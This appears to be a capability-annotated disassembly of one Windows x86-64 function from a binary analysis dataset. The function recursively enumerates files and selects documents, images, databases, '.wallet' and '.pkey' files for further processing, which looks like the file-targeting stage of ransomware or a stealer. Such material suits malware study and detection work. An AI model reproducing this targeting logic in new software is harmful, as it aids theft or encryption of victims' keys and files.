Function at 0x14006e984
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7a0]
sub rsp, 0x8a0
mov rsi, rdx
mov rbx, rcx
mov r8, rcx
lea rdx, str._s
lea rcx, [rbp + 0x590]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14006eb94
test byte [rsp + 0x20], 0x10
jne 0x14006eba7
test byte [rsp + 0x20], 2
jne 0x14006eba7
mov eax, dword [rsp + 0x40]
mov dword [rbp + 0x7d0], eax
mov eax, dword [rsp + 0x3c]
mov dword [rbp + 0x7d4], eax
cmp qword [rbp + 0x7d0], 0x1f40
jge 0x14006eb75
lea r9, [rsp + 0x4c]
lea rdx, [0x1400991b8]
lea rcx, [rbp + 0x380]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x380]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
lea rdx, str..txt
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..jpg
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..pdf
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..docx
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..csv
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..sql
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, [0x140099228]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, [0x140099230]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..cpp
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, [0x140099244]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..dat
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..wallet
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14006eb5f
lea rdx, str..pkey
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x14006eb6e
lea rcx, [rbp + 0x380]
mov rdx, rsi
call fcn.14006ec3c
mov rbx, qword [rbp + 0x7c0]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14006e9dc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x8c8]
add rsp, 0x8a0
pop rdi
pop rsi
pop rbp
ret
movzx ecx, word [rsp + 0x4c]
movzx eax, word [rsp + 0x4e]
cmp cx, word [0x140097434]
jne 0x14006ebc3
cmp ax, word [0x140097436]
je 0x14006eb75
cmp cx, word [0x14009927c]
jne 0x14006ebe3
cmp ax, word [0x14009927e]
jne 0x14006ebe3
movzx eax, word [rsp + 0x50]
cmp ax, word [0x140099280]
je 0x14006eb75
lea rcx, [rsp + 0x4c]
call fcn.14006eca4
test al, al
jne 0x14006eb75
lea r9, [rsp + 0x4c]
lea rdx, str._s_s
lea rcx, [rbp + 0x170]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x170]
call fcn.14006ed4c
test al, al
je 0x14006eb75
lea rcx, [rbp + 0x170]
mov rdx, rsi
call fcn.14006e984
jmp 0x14006eb75